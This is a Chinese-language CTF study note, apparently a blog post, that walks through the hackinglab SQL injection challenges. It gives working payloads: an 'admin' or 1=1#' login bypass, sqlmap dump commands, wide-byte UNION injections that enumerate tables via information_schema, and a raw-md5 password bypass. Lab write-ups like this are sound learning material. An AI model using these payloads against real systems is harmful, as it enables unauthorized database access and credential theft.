「配枪朱丽叶。」

RootのCTF学习笔记。

hackinglab-注入关部分

【最简单的sql注入】
题目地址
输入万能密码 admin' or 1=1#即可

【到底能不能回显】

小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?
题目地址

有两个参数?start=0&num=1
把start参数中的0改为1,页面有变化,说明是一个可回显参数。
sqlmap -u 网址 -p 'start' --batch --tamper="commalesslimit.py" --threads 10 --dbs

没什么说的,都是sqlmap的日常操作
最后是sqlmap -u 网址 -p 'start' --batch --tamper="commalesslimit.py" --threads 10 -T user -C username,password --dump
得到flag

【邂逅】

小明今天出门看见了一个漂亮的帅哥和漂亮的美女,于是他写到了他的日记本里。
题目地址

这道题的注入点很隐蔽。。是图片宽字节注入,而且只能抓包修改。

?'【%bf%27】

?' order by 1 #

?' order by 5 #报错【%DF%27%20order%20by%205%20%23】

?' union select 1,2,3,4 #【%bf%27 union select 1,2,3,4 %23】

?' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database() #
【%bf%27 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database() %23】
得到两个表:article,pic

?' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x706963 #
【%bf%27 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x706963 %23】
查看pic表里的内容

?' union select 1,2,group_concat(picname,0x3b),4 from pic #
【%bf%27 union select 1,2,group_concat(picname,0x3b),4 from pic %23】

最后得到flagishere_askldjfklasjdfl.jpg

访问即可得到flag图片。

【盲注】
题目地址
提示username是参数,username=1'报错。
接下来拿sqlmap一把梭就ojk。

【据说哈希后的密码是不能产生注入的】
题目地址
第一步先查看源代码,发现重要的一行:

$strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";

其中md5($_GET['pwd'], true)很有意思,跟进看一下md5()函数

也就是说,这道题里的md5不是普通意义的md5,是原始 16 字符二进制格式的。

通过查资料得到一个新姿势,有一个神奇的字符串。

自己也测试了一下:

语句就变成了:

select * from `user` where userid="admin" and password='"'or'xxxxxxxx"'

有一个为真,整个语句就为真。
所以可以绕过的得到flag。